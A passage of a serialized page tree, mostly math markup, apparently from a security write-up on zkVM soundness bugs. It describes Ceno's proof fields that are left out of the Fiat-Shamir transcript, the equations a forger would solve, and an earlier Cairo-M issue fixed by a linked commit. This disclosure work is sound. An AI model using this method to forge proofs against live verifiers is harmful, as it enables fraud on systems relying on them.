5,"props":128662,"children":128664},{"className":128663},[32960],[128665],{"type":29,"value":32963},{"type":23,"tag":75,"props":128667,"children":128669},{"className":128668},[15309],[128670],{"type":23,"tag":75,"props":128671,"children":128673},{"className":128672,"style":119267},[15314],[128674],{"type":23,"tag":75,"props":128675,"children":128676},{},[],{"type":23,"tag":75,"props":128678,"children":128680},{"className":128679},[32932,15332],[128681],{"type":29,"value":643},{"type":23,"tag":75,"props":128683,"children":128685},{"className":128684},[15284,29,15332],[128686],{"type":23,"tag":75,"props":128687,"children":128689},{"className":128688},[15284,15332],[128690],{"type":29,"value":172},{"type":23,"tag":75,"props":128692,"children":128694},{"className":128693,"style":103382},[15284,15332],[128695],{"type":29,"value":14370},{"type":23,"tag":75,"props":128697,"children":128699},{"className":128698},[15284,29,15332],[128700],{"type":23,"tag":75,"props":128701,"children":128703},{"className":128702},[15284,15332],[128704],{"type":29,"value":14976},{"type":23,"tag":75,"props":128706,"children":128708},{"className":128707},[32954,15332],[128709],{"type":29,"value":128710},")⟩",{"type":23,"tag":75,"props":128712,"children":128714},{"className":128713},[15369,15332],[128715],{"type":29,"value":7862},{"type":23,"tag":75,"props":128717,"children":128719},{"className":128718,"style":125525},[15284,32803,15332],[128720],{"type":29,"value":125528},{"type":23,"tag":75,"props":128722,"children":128723},{"style":123955},[128724,128728],{"type":23,"tag":75,"props":128725,"children":128727},{"className":128726,"style":122553},[15323],[],{"type":23,"tag":75,"props":128729,"children":128731},{"className":128730,"style":123965},[123964],[],{"type":23,"tag":75,"props":128733,"children":128734},{"style":123969},[128735,128739],{"type":23,"tag":75,"props":128736,"children":128738},{"className":128737,"style":122553},[15323],[],{"type":23,"tag":75,"props":128740,"children":128742},{"className":128741},[15329,15330,15331,15332],[128743],{"type":23,"tag":75,"props":128744,"children":128746},{"className":128745},[15284,15332],[128747],{"type":23,"tag":75,"props":128748,"children":128750},{"className":128749},[15284,15332],[128751],{"type":29,"value":7867},{"type":23,"tag":75,"props":128753,"children":128755},{"className":128754},[32960],[128756],{"type":29,"value":32963},{"type":23,"tag":75,"props":128758,"children":128760},{"className":128759},[15309],[128761],{"type":23,"tag":75,"props":128762,"children":128765},{"className":128763,"style":128764},[15314],"height:0.562em;",[128766],{"type":23,"tag":75,"props":128767,"children":128768},{},[],{"type":23,"tag":75,"props":128770,"children":128772},{"className":128771},[32954,123900],[],{"type":23,"tag":75,"props":128774,"children":128776},{"className":128775},[15284],[128777],{"type":29,"value":557},{"type":23,"tag":32,"props":128779,"children":128780},{},[128781,128783],{"type":29,"value":128782},"The global check is then that ",{"type":23,"tag":71,"props":128784,"children":128786},{"className":128785},[15256,15257],[128787],{"type":23,"tag":75,"props":128788,"children":128790},{"className":128789},[15262],[128791],{"type":23,"tag":75,"props":128792,"children":128794},{"className":128793,"ariaHidden":15268},[15267],[128795,128836,128867],{"type":23,"tag":75,"props":128796,"children":128798},{"className":128797},[15273],[128799,128803,128808,128813,128818,128823,128827,128832],{"type":23,"tag":75,"props":128800,"children":128802},{"className":128801,"style":15384},[15278],[],{"type":23,"tag":75,"props":128804,"children":128806},{"className":128805},[15284,32803],[128807],{"type":29,"value":128346},{"type":23,"tag":75,"props":128809,"children":128811},{"className":128810},[32932],[128812],{"type":29,"value":643},{"type":23,"tag":75,"props":128814,"children":128816},{"className":128815},[15284,32803],[128817],{"type":29,"value":32},{"type":23,"tag":75,"props":128819,"children":128821},{"className":128820},[32954],[128822],{"type":29,"value":1347},{"type":23,"tag":75,"props":128824,"children":128826},{"className":128825,"style":15364},[15363],[],{"type":23,"tag":75,"props":128828,"children":128830},{"className":128829},[15369],[128831],{"type":29,"value":7862},{"type":23,"tag":75,"props":128833,"children":128835},{"className":128834,"style":15364},[15363],[],{"type":23,"tag":75,"props":128837,"children":128839},{"className":128838},[15273],[128840,128844,128854,128858,128863],{"type":23,"tag":75,"props":128841,"children":128843},{"className":128842,"style":15384},[15278],[],{"type":23,"tag":75,"props":128845,"children":128847},{"className":128846},[15284,29],[128848],{"type":23,"tag":75,"props":128849,"children":128851},{"className":128850},[15284],[128852],{"type":29,"value":128853},"(other terms)",{"type":23,"tag":75,"props":128855,"children":128857},{"className":128856,"style":15461},[15363],[],{"type":23,"tag":75,"props":128859,"children":128861},{"className":128860},[15466],[128862],{"type":29,"value":212},{"type":23,"tag":75,"props":128864,"children":128866},{"className":128865,"style":15461},[15363],[],{"type":23,"tag":75,"props":128868,"children":128870},{"className":128869},[15273],[128871,128875],{"type":23,"tag":75,"props":128872,"children":128874},{"className":128873,"style":104413},[15278],[],{"type":23,"tag":75,"props":128876,"children":128878},{"className":128877},[15284],[128879],{"type":29,"value":648},{"type":23,"tag":32,"props":128881,"children":128882},{},[128883],{"type":29,"value":128884},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":32,"props":128886,"children":128887},{},[128888],{"type":29,"value":128889},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":32,"props":128891,"children":128892},{},[128893,128897,128899],{"type":23,"tag":16596,"props":128894,"children":128895},{},[128896],{"type":29,"value":127092},{"type":29,"value":128898}," Fixed on October 31, 2025 via ",{"type":23,"tag":940,"props":128900,"children":128903},{"href":128901,"rel":128902},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[944],[128904],{"type":29,"value":128905},"commit 92b6740",{"type":23,"tag":30016,"props":128907,"children":128908},{},[],{"type":23,"tag":923,"props":128910,"children":128912},{"id":128911},"ceno-scroll",[128913],{"type":29,"value":128914},"Ceno (Scroll)",{"type":23,"tag":32,"props":128916,"children":128917},{},[128918],{"type":29,"value":128919},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":32,"props":128921,"children":128922},{},[128923,128925,128930],{"type":29,"value":128924},"Ceno splits verification into ",{"type":23,"tag":16596,"props":128926,"children":128927},{},[128928],{"type":29,"value":128929},"chips",{"type":29,"value":128931},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":32,"props":128933,"children":128934},{},[128935,128937,128942],{"type":29,"value":128936},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":16596,"props":128938,"children":128939},{},[128940],{"type":29,"value":128941},"tower sumcheck",{"type":29,"value":557},{"type":23,"tag":32,"props":128944,"children":128945},{},[128946],{"type":29,"value":128947},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":32,"props":128949,"children":128950},{},[128951],{"type":23,"tag":71,"props":128952,"children":128954},{"className":128953},[15256,15257],[128955],{"type":23,"tag":75,"props":128956,"children":128958},{"className":128957},[15262],[128959],{"type":23,"tag":75,"props":128960,"children":128962},{"className":128961,"ariaHidden":15268},[15267],[128963,129137,129310],{"type":23,"tag":75,"props":128964,"children":128966},{"className":128965},[15273],[128967,128971,129029,129033,129042,129047,129057,129062,129124,129128,129133],{"type":23,"tag":75,"props":128968,"children":128970},{"className":128969,"style":103324},[15278],[],{"type":23,"tag":75,"props":128972,"children":128974},{"className":128973},[32839],[128975,128981],{"type":23,"tag":75,"props":128976,"children":128978},{"className":128977,"style":32846},[32839,32844,32845],[128979],{"type":29,"value":128980},"∏",{"type":23,"tag":75,"props":128982,"children":128984},{"className":128983},[15299],[128985],{"type":23,"tag":75,"props":128986,"children":128988},{"className":128987},[15304,32857],[128989,129018],{"type":23,"tag":75,"props":128990,"children":128992},{"className":128991},[15309],[128993,129013],{"type":23,"tag":75,"props":128994,"children":128996},{"className":128995,"style":124589},[15314],[128997],{"type":23,"tag":75,"props":128998,"children":128999},{"style":32870},[129000,129004],{"type":23,"tag":75,"props":129001,"children":129003},{"className":129002,"style":15324},[15323],[],{"type":23,"tag":75,"props":129005,"children":129007},{"className":129006},[15329,15330,15331,15332],[129008],{"type":23,"tag":75,"props":129009,"children":129011},{"className":129010},[15284,32803,15332],[129012],{"type":29,"value":12935},{"type":23,"tag":75,"props":129014,"children":129016},{"className":129015},[32960],[129017],{"type":29,"value":32963},{"type":23,"tag":75,"props":129019,"children":129021},{"className":129020},[15309],[129022],{"type":23,"tag":75,"props":129023,"children":129025},{"className":129024,"style":124869},[15314],[129026],{"type":23,"tag":75,"props":129027,"children":129028},{},[],{"type":23,"tag":75,"props":129030,"children":129032},{"className":129031,"style":15402},[15363],[],{"type":23,"tag":75,"props":129034,"children":129036},{"className":129035},[15284,29],[129037],{"type":23,"tag":75,"props":129038,"children":129040},{"className":129039},[15284],[129041],{"type":29,"value":104201},{"type":23,"tag":75,"props":129043,"children":129045},{"className":129044,"style":103382},[15284],[129046],{"type":29,"value":14370},{"type":23,"tag":75,"props":129048,"children":129050},{"className":129049},[15284,29],[129051],{"type":23,"tag":75,"props":129052,"children":129054},{"className":129053},[15284],[129055],{"type":29,"value":129056},"out",{"type":23,"tag":75,"props":129058,"children":129060},{"className":129059,"style":103382},[15284],[129061],{"type":29,"value":14370},{"type":23,"tag":75,"props":129063,"children":129065},{"className":129064},[15284],[129066,129076],{"type":23,"tag":75,"props":129067,"children":129069},{"className":129068},[15284,29],[129070],{"type":23,"tag":75,"props":129071,"children":129073},{"className":129072},[15284],[129074],{"type":29,"value":129075},"evals",{"type":23,"tag":75,"props":129077,"children":129079},{"className":129078},[15299],[129080],{"type":23,"tag":75,"props":129081,"children":129083},{"className":129082},[15304,32857],[129084,129113],{"type":23,"tag":75,"props":129085,"children":129087},{"className":129086},[15309],[129088,129108],{"type":23,"tag":75,"props":129089,"children":129091},{"className":129090,"style":103911},[15314],[129092],{"type":23,"tag":75,"props":129093,"children":129094},{"style":124512},[129095,129099],{"type":23,"tag":75,"props":129096,"children":129098},{"className":129097,"style":15324},[15323],[],{"type":23,"tag":75,"props":129100,"children":129102},{"className":129101},[15329,15330,15331,15332],[129103],{"type":23,"tag":75,"props":129104,"children":129106},{"className":129105},[15284,32803,15332],[129107],{"type":29,"value":12935},{"type":23,"tag":75,"props":129109,"children":129111},{"className":129110},[32960],[129112],{"type":29,"value":32963},{"type":23,"tag":75,"props":129114,"children":129116},{"className":129115},[15309],[129117],{"type":23,"tag":75,"props":129118,"children":129120},{"className":129119,"style":103465},[15314],[129121],{"type":23,"tag":75,"props":129122,"children":129123},{},[],{"type":23,"tag":75,"props":129125,"children":129127},{"className":129126,"style":15461},[15363],[],{"type":23,"tag":75,"props":129129,"children":129131},{"className":129130},[15466],[129132],{"type":29,"value":212},{"type":23,"tag":75,"props":129134,"children":129136},{"className":129135,"style":15461},[15363],[],{"type":23,"tag":75,"props":129138,"children":129140},{"className":129139},[15273],[129141,129146,129203,129207,129216,129221,129230,129235,129297,129301,129306],{"type":23,"tag":75,"props":129142,"children":129145},{"className":129143,"style":129144},[15278],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":75,"props":129147,"children":129149},{"className":129148},[32839],[129150,129155],{"type":23,"tag":75,"props":129151,"children":129153},{"className":129152,"style":32846},[32839,32844,32845],[129154],{"type":29,"value":128980},{"type":23,"tag":75,"props":129156,"children":129158},{"className":129157},[15299],[129159],{"type":23,"tag":75,"props":129160,"children":129162},{"className":129161},[15304,32857],[129163,129192],{"type":23,"tag":75,"props":129164,"children":129166},{"className":129165},[15309],[129167,129187],{"type":23,"tag":75,"props":129168,"children":129170},{"className":129169,"style":124589},[15314],[129171],{"type":23,"tag":75,"props":129172,"children":129173},{"style":32870},[129174,129178],{"type":23,"tag":75,"props":129175,"children":129177},{"className":129176,"style":15324},[15323],[],{"type":23,"tag":75,"props":129179,"children":129181},{"className":129180},[15329,15330,15331,15332],[129182],{"type":23,"tag":75,"props":129183,"children":129185},{"className":129184,"style":124605},[15284,32803,15332],[129186],{"type":29,"value":19913},{"type":23,"tag":75,"props":129188,"children":129190},{"className":129189},[32960],[129191],{"type":29,"value":32963},{"type":23,"tag":75,"props":129193,"children":129195},{"className":129194},[15309],[129196],{"type":23,"tag":75,"props":129197,"children":129199},{"className":129198,"style":124620},[15314],[129200],{"type":23,"tag":75,"props":129201,"children":129202},{},[],{"type":23,"tag":75,"props":129204,"children":129206},{"className":129205,"style":15402},[15363],[],{"type":23,"tag":75,"props":129208,"children":129210},{"className":129209},[15284,29],[129211],{"type":23,"tag":75,"props":129212,"children":129214},{"className":129213},[15284],[129215],{"type":29,"value":60758},{"type":23,"tag":75,"props":129217,"children":129219},{"className":129218,"style":103382},[15284],[129220],{"type":29,"value":14370},{"type":23,"tag":75,"props":129222,"children":129224},{"className":129223},[15284,29],[129225],{"type":23,"tag":75,"props":129226,"children":129228},{"className":129227},[15284],[129229],{"type":29,"value":129056},{"type":23,"tag":75,"props":129231,"children":129233},{"className":129232,"style":103382},[15284],[129234],{"type":29,"value":14370},{"type":23,"tag":75,"props":129236,"children":129238},{"className":129237},[15284],[129239,129248],{"type":23,"tag":75,"props":129240,"children":129242},{"className":129241},[15284,29],[129243],{"type":23,"tag":75,"props":129244,"children":129246},{"className":129245},[15284],[129247],{"type":29,"value":129075},{"type":23,"tag":75,"props":129249,"children":129251},{"className":129250},[15299],[129252],{"type":23,"tag":75,"props":129253,"children":129255},{"className":129254},[15304,32857],[129256,129285],{"type":23,"tag":75,"props":129257,"children":129259},{"className":129258},[15309],[129260,129280],{"type":23,"tag":75,"props":129261,"children":129263},{"className":129262,"style":103911},[15314],[129264],{"type":23,"tag":75,"props":129265,"children":129266},{"style":124512},[129267,129271],{"type":23,"tag":75,"props":129268,"children":129270},{"className":129269,"style":15324},[15323],[],{"type":23,"tag":75,"props":129272,"children":129274},{"className":129273},[15329,15330,15331,15332],[129275],{"type":23,"tag":75,"props":129276,"children":129278},{"className":129277,"style":124605},[15284,32803,15332],[129279],{"type":29,"value":19913},{"type":23,"tag":75,"props":129281,"children":129283},{"className":129282},[32960],[129284],{"type":29,"value":32963},{"type":23,"tag":75,"props":129286,"children":129288},{"className":129287},[15309],[129289],{"type":23,"tag":75,"props":129290,"children":129293},{"className":129291,"style":129292},[15314],"height:0.2861em;",[129294],{"type":23,"tag":75,"props":129295,"children":129296},{},[],{"type":23,"tag":75,"props":129298,"children":129300},{"className":129299,"style":15364},[15363],[],{"type":23,"tag":75,"props":129302,"children":129304},{"className":129303},[15369],[129305],{"type":29,"value":121644},{"type":23,"tag":75,"props":129307,"children":129309},{"className":129308,"style":15364},[15363],[],{"type":23,"tag":75,"props":129311,"children":129313},{"className":129312},[15273],[129314,129318,129323,129333],{"type":23,"tag":75,"props":129315,"children":129317},{"className":129316,"style":15384},[15278],[],{"type":23,"tag":75,"props":129319,"children":129321},{"className":129320},[32932],[129322],{"type":29,"value":643},{"type":23,"tag":75,"props":129324,"children":129326},{"className":129325},[15284,29],[129327],{"type":23,"tag":75,"props":129328,"children":129330},{"className":129329},[15284],[129331],{"type":29,"value":129332},"state factors",{"type":23,"tag":75,"props":129334,"children":129336},{"className":129335},[32954],[129337],{"type":29,"value":1347},{"type":23,"tag":32,"props":129339,"children":129340},{},[129341],{"type":23,"tag":16596,"props":129342,"children":129343},{},[129344],{"type":29,"value":125798},{"type":23,"tag":64,"props":129346,"children":129348},{"code":129347},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[129349],{"type":23,"tag":71,"props":129350,"children":129351},{"__ignoreMap":7},[129352],{"type":29,"value":129347},{"type":23,"tag":32,"props":129354,"children":129355},{},[129356,129362,129363,129369,129370,129376],{"type":23,"tag":71,"props":129357,"children":129359},{"className":129358},[],[129360],{"type":29,"value":129361},"r_out_evals",{"type":29,"value":611},{"type":23,"tag":71,"props":129364,"children":129366},{"className":129365},[],[129367],{"type":29,"value":129368},"w_out_evals",{"type":29,"value":5777},{"type":23,"tag":71,"props":129371,"children":129373},{"className":129372},[],[129374],{"type":29,"value":129375},"lk_out_evals",{"type":29,"value":129377}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":2797,"props":129379,"children":129380},{},[129381],{"type":23,"tag":2801,"props":129382,"children":129383},{},[129384,129389,129391,129397],{"type":23,"tag":16596,"props":129385,"children":129386},{},[129387],{"type":29,"value":129388},"GKR/Tower equation",{"type":29,"value":129390}," (linear in ",{"type":23,"tag":71,"props":129392,"children":129394},{"className":129393},[],[129395],{"type":29,"value":129396},"out_evals",{"type":29,"value":35151},{"type":23,"tag":32,"props":129399,"children":129400},{},[129401,129403],{"type":29,"value":129402},"The tower sumcheck claim is ",{"type":23,"tag":71,"props":129404,"children":129406},{"className":129405},[15256,15257],[129407],{"type":23,"tag":75,"props":129408,"children":129410},{"className":129409},[15262],[129411],{"type":23,"tag":75,"props":129412,"children":129414},{"className":129413,"ariaHidden":15268},[15267],[129415,129446,129571],{"type":23,"tag":75,"props":129416,"children":129418},{"className":129417},[15273],[129419,129423,129433,129437,129442],{"type":23,"tag":75,"props":129420,"children":129422},{"className":129421,"style":103297},[15278],[],{"type":23,"tag":75,"props":129424,"children":129426},{"className":129425},[15284,29],[129427],{"type":23,"tag":75,"props":129428,"children":129430},{"className":129429},[15284],[129431],{"type":29,"value":129432},"claim",{"type":23,"tag":75,"props":129434,"children":129436},{"className":129435,"style":15461},[15363],[],{"type":23,"tag":75,"props":129438,"children":129440},{"className":129439},[15466],[129441],{"type":29,"value":212},{"type":23,"tag":75,"props":129443,"children":129445},{"className":129444,"style":15461},[15363],[],{"type":23,"tag":75,"props":129447,"children":129449},{"className":129448},[15273],[129450,129455,129512,129516,129558,129562,129567],{"type":23,"tag":75,"props":129451,"children":129454},{"className":129452,"style":129453},[15278],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":75,"props":129456,"children":129458},{"className":129457},[32839],[129459,129464],{"type":23,"tag":75,"props":129460,"children":129462},{"className":129461,"style":32846},[32839,32844,32845],[129463],{"type":29,"value":119177},{"type":23,"tag":75,"props":129465,"children":129467},{"className":129466},[15299],[129468],{"type":23,"tag":75,"props":129469,"children":129471},{"className":129470},[15304,32857],[129472,129501],{"type":23,"tag":75,"props":129473,"children":129475},{"className":129474},[15309],[129476,129496],{"type":23,"tag":75,"props":129477,"children":129479},{"className":129478,"style":124589},[15314],[129480],{"type":23,"tag":75,"props":129481,"children":129482},{"style":32870},[129483,129487],{"type":23,"tag":75,"props":129484,"children":129486},{"className":129485,"style":15324},[15323],[],{"type":23,"tag":75,"props":129488,"children":129490},{"className":129489},[15329,15330,15331,15332],[129491],{"type":23,"tag":75,"props":129492,"children":129494},{"className":129493,"style":124605},[15284,32803,15332],[129495],{"type":29,"value":19913},{"type":23,"tag":75,"props":129497,"children":129499},{"className":129498},[32960],[129500],{"type":29,"value":32963},{"type":23,"tag":75,"props":129502,"children":129504},{"className":129503},[15309],[129505],{"type":23,"tag":75,"props":129506,"children":129508},{"className":129507,"style":124620},[15314],[129509],{"type":23,"tag":75,"props":129510,"children":129511},{},[],{"type":23,"tag":75,"props":129513,"children":129515},{"className":129514,"style":15402},[15363],[],{"type":23,"tag":75,"props":129517,"children":129519},{"className":129518},[15284],[129520,129525],{"type":23,"tag":75,"props":129521,"children":129523},{"className":129522,"style":125470},[15284,32803],[129524],{"type":29,"value":125473},{"type":23,"tag":75,"props":129526,"children":129528},{"className":129527},[15299],[129529],{"type":23,"tag":75,"props":129530,"children":129532},{"className":129531},[15304],[129533],{"type":23,"tag":75,"props":129534,"children":129536},{"className":129535},[15309],[129537],{"type":23,"tag":75,"props":129538,"children":129541},{"className":129539,"style":129540},[15314],"height:0.8247em;",[129542],{"type":23,"tag":75,"props":129543,"children":129544},{"style":15318},[129545,129549],{"type":23,"tag":75,"props":129546,"children":129548},{"className":129547,"style":15324},[15323],[],{"type":23,"tag":75,"props":129550,"children":129552},{"className":129551},[15329,15330,15331,15332],[129553],{"type":23,"tag":75,"props":129554,"children":129556},{"className":129555,"style":124605},[15284,32803,15332],[129557],{"type":29,"value":19913},{"type":23,"tag":75,"props":129559,"children":129561},{"className":129560,"style":15364},[15363],[],{"type":23,"tag":75,"props":129563,"children":129565},{"className":129564},[15369],[129566],{"type":29,"value":121644},{"type":23,"tag":75,"props":129568,"children":129570},{"className":129569,"style":15364},[15363],[],{"type":23,"tag":75,"props":129572,"children":129574},{"className":129573},[15273],[129575,129579,129588,129593],{"type":23,"tag":75,"props":129576,"children":129578},{"className":129577,"style":104795},[15278],[],{"type":23,"tag":75,"props":129580,"children":129582},{"className":129581},[15284,29],[129583],{"type":23,"tag":75,"props":129584,"children":129586},{"className":129585},[15284],[129587],{"type":29,"value":129056},{"type":23,"tag":75,"props":129589,"children":129591},{"className":129590,"style":103382},[15284],[129592],{"type":29,"value":14370},{"type":23,"tag":75,"props":129594,"children":129596},{"className":129595},[15284],[129597,129606],{"type":23,"tag":75,"props":129598,"children":129600},{"className":129599},[15284,29],[129601],{"type":23,"tag":75,"props":129602,"children":129604},{"className":129603},[15284],[129605],{"type":29,"value":129075},{"type":23,"tag":75,"props":129607,"children":129609},{"className":129608},[15299],[129610],{"type":23,"tag":75,"props":129611,"children":129613},{"className":129612},[15304,32857],[129614,129643],{"type":23,"tag":75,"props":129615,"children":129617},{"className":129616},[15309],[129618,129638],{"type":23,"tag":75,"props":129619,"children":129621},{"className":129620,"style":103911},[15314],[129622],{"type":23,"tag":75,"props":129623,"children":129624},{"style":124512},[129625,129629],{"type":23,"tag":75,"props":129626,"children":129628},{"className":129627,"style":15324},[15323],[],{"type":23,"tag":75,"props":129630,"children":129632},{"className":129631},[15329,15330,15331,15332],[129633],{"type":23,"tag":75,"props":129634,"children":129636},{"className":129635,"style":124605},[15284,32803,15332],[129637],{"type":29,"value":19913},{"type":23,"tag":75,"props":129639,"children":129641},{"className":129640},[32960],[129642],{"type":29,"value":32963},{"type":23,"tag":75,"props":129644,"children":129646},{"className":129645},[15309],[129647],{"type":23,"tag":75,"props":129648,"children":129650},{"className":129649,"style":129292},[15314],[129651],{"type":23,"tag":75,"props":129652,"children":129653},{},[],{"type":23,"tag":32,"props":129655,"children":129656},{},[129657,129659,129664],{"type":29,"value":129658},"This check is linear in ",{"type":23,"tag":71,"props":129660,"children":129662},{"className":129661},[],[129663],{"type":29,"value":129396},{"type":29,"value":557},{"type":23,"tag":2797,"props":129666,"children":129667},{"start":100},[129668],{"type":23,"tag":2801,"props":129669,"children":129670},{},[129671,129676,129678,129683],{"type":23,"tag":16596,"props":129672,"children":129673},{},[129674],{"type":29,"value":129675},"rw-product consistency",{"type":29,"value":129677}," (bilinear in ",{"type":23,"tag":71,"props":129679,"children":129681},{"className":129680},[],[129682],{"type":29,"value":129396},{"type":29,"value":35151},{"type":23,"tag":32,"props":129685,"children":129686},{},[129687],{"type":23,"tag":71,"props":129688,"children":129690},{"className":129689},[15256,15257],[129691],{"type":23,"tag":75,"props":129692,"children":129694},{"className":129693},[15262],[129695],{"type":23,"tag":75,"props":129696,"children":129698},{"className":129697,"ariaHidden":15268},[15267],[129699,129870,130041],{"type":23,"tag":75,"props":129700,"children":129702},{"className":129701},[15273],[129703,129707,129764,129768,129777,129782,129791,129796,129857,129861,129866],{"type":23,"tag":75,"props":129704,"children":129706},{"className":129705,"style":103324},[15278],[],{"type":23,"tag":75,"props":129708,"children":129710},{"className":129709},[32839],[129711,129716],{"type":23,"tag":75,"props":129712,"children":129714},{"className":129713,"style":32846},[32839,32844,32845],[129715],{"type":29,"value":128980},{"type":23,"tag":75,"props":129717,"children":129719},{"className":129718},[15299],[129720],{"type":23,"tag":75,"props":129721,"children":129723},{"className":129722},[15304,32857],[129724,129753],{"type":23,"tag":75,"props":129725,"children":129727},{"className":129726},[15309],[129728,129748],{"type":23,"tag":75,"props":129729,"children":129731},{"className":129730,"style":124589},[15314],[129732],{"type":23,"tag":75,"props":129733,"children":129734},{"style":32870},[129735,129739],{"type":23,"tag":75,"props":129736,"children":129738},{"className":129737,"style":15324},[15323],[],{"type":23,"tag":75,"props":129740,"children":129742},{"className":129741},[15329,15330,15331,15332],[129743],{"type":23,"tag":75,"props":129744,"children":129746},{"className":129745},[15284,32803,15332],[129747],{"type":29,"value":12935},{"type":23,"tag":75,"props":129749,"children":129751},{"className":129750},[32960],[129752],{"type":29,"value":32963},{"type":23,"tag":75,"props":129754,"children":129756},{"className":129755},[15309],[129757],{"type":23,"tag":75,"props":129758,"children":129760},{"className":129759,"style":124869},[15314],[129761],{"type":23,"tag":75,"props":129762,"children":129763},{},[],{"type":23,"tag":75,"props":129765,"children":129767},{"className":129766,"style":15402},[15363],[],{"type":23,"tag":75,"props":129769,"children":129771},{"className":129770},[15284,29],[129772],{"type":23,"tag":75,"props":129773,"children":129775},{"className":129774},[15284],[129776],{"type":29,"value":104201},{"type":23,"tag":75,"props":129778,"children":129780},{"className":129779,"style":103382},[15284],[129781],{"type":29,"value":14370},{"type":23,"tag":75,"props":129783,"children":129785},{"className":129784},[15284,29],[129786],{"type":23,"tag":75,"props":129787,"children":129789},{"className":129788},[15284],[129790],{"type":29,"value":129056},{"type":23,"tag":75,"props":129792,"children":129794},{"className":129793,"style":103382},[15284],[129795],{"type":29,"value":14370},{"type":23,"tag":75,"props":129797,"children":129799},{"className":129798},[15284],[129800,129809],{"type":23,"tag":75,"props":129801,"children":129803},{"className":129802},[15284,29],[129804],{"type":23,"tag":75,"props":129805,"children":129807},{"className":129806},[15284],[129808],{"type":29,"value":129075},{"type":23,"tag":75,"props":129810,"children":129812},{"className":129811},[15299],[129813],{"type":23,"tag":75,"props":129814,"children":129816},{"className":129815},[15304,32857],[129817,129846],{"type":23,"tag":75,"props":129818,"children":129820},{"className":129819},[15309],[129821,129841],{"type":23,"tag":75,"props":129822,"children":129824},{"className":129823,"style":103911},[15314],[129825],{"type":23,"tag":75,"props":129826,"children":129827},{"style":124512},[129828,129832],{"type":23,"tag":75,"props":129829,"children":129831},{"className":129830,"style":15324},[15323],[],{"type":23,"tag":75,"props":129833,"children":129835},{"className":129834},[15329,15330,15331,15332],[129836],{"type":23,"tag":75,"props":129837,"children":129839},{"className":129838},[15284,32803,15332],[129840],{"type":29,"value":12935},{"type":23,"tag":75,"props":129842,"children":129844},{"className":129843},[32960],[129845],{"type":29,"value":32963},{"type":23,"tag":75,"props":129847,"children":129849},{"className":129848},[15309],[129850],{"type":23,"tag":75,"props":129851,"children":129853},{"className":129852,"style":103465},[15314],[129854],{"type":23,"tag":75,"props":129855,"children":129856},{},[],{"type":23,"tag":75,"props":129858,"children":129860},{"className":129859,"style":15461},[15363],[],{"type":23,"tag":75,"props":129862,"children":129864},{"className":129863},[15466],[129865],{"type":29,"value":212},{"type":23,"tag":75,"props":129867,"children":129869},{"className":129868,"style":15461},[15363],[],{"type":23,"tag":75,"props":129871,"children":129873},{"className":129872},[15273],[129874,129878,129935,129939,129948,129953,129962,129967,130028,130032,130037],{"type":23,"tag":75,"props":129875,"children":129877},{"className":129876,"style":129144},[15278],[],{"type":23,"tag":75,"props":129879,"children":129881},{"className":129880},[32839],[129882,129887],{"type":23,"tag":75,"props":129883,"children":129885},{"className":129884,"style":32846},[32839,32844,32845],[129886],{"type":29,"value":128980},{"type":23,"tag":75,"props":129888,"children":129890},{"className":129889},[15299],[129891],{"type":23,"tag":75,"props":129892,"children":129894},{"className":129893},[15304,32857],[129895,129924],{"type":23,"tag":75,"props":129896,"children":129898},{"className":129897},[15309],[129899,129919],{"type":23,"tag":75,"props":129900,"children":129902},{"className":129901,"style":124589},[15314],[129903],{"type":23,"tag":75,"props":129904,"children":129905},{"style":32870},[129906,129910],{"type":23,"tag":75,"props":129907,"children":129909},{"className":129908,"style":15324},[15323],[],{"type":23,"tag":75,"props":129911,"children":129913},{"className":129912},[15329,15330,15331,15332],[129914],{"type":23,"tag":75,"props":129915,"children":129917},{"className":129916,"style":124605},[15284,32803,15332],[129918],{"type":29,"value":19913},{"type":23,"tag":75,"props":129920,"children":129922},{"className":129921},[32960],[129923],{"type":29,"value":32963},{"type":23,"tag":75,"props":129925,"children":129927},{"className":129926},[15309],[129928],{"type":23,"tag":75,"props":129929,"children":129931},{"className":129930,"style":124620},[15314],[129932],{"type":23,"tag":75,"props":129933,"children":129934},{},[],{"type":23,"tag":75,"props":129936,"children":129938},{"className":129937,"style":15402},[15363],[],{"type":23,"tag":75,"props":129940,"children":129942},{"className":129941},[15284,29],[129943],{"type":23,"tag":75,"props":129944,"children":129946},{"className":129945},[15284],[129947],{"type":29,"value":60758},{"type":23,"tag":75,"props":129949,"children":129951},{"className":129950,"style":103382},[15284],[129952],{"type":29,"value":14370},{"type":23,"tag":75,"props":129954,"children":129956},{"className":129955},[15284,29],[129957],{"type":23,"tag":75,"props":129958,"children":129960},{"className":129959},[15284],[129961],{"type":29,"value":129056},{"type":23,"tag":75,"props":129963,"children":129965},{"className":129964,"style":103382},[15284],[129966],{"type":29,"value":14370},{"type":23,"tag":75,"props":129968,"children":129970},{"className":129969},[15284],[129971,129980],{"type":23,"tag":75,"props":129972,"children":129974},{"className":129973},[15284,29],[129975],{"type":23,"tag":75,"props":129976,"children":129978},{"className":129977},[15284],[129979],{"type":29,"value":129075},{"type":23,"tag":75,"props":129981,"children":129983},{"className":129982},[15299],[129984],{"type":23,"tag":75,"props":129985,"children":129987},{"className":129986},[15304,32857],[129988,130017],{"type":23,"tag":75,"props":129989,"children":129991},{"className":129990},[15309],[129992,130012],{"type":23,"tag":75,"props":129993,"children":129995},{"className":129994,"style":103911},[15314],[129996],{"type":23,"tag":75,"props":129997,"children":129998},{"style":124512},[129999,130003],{"type":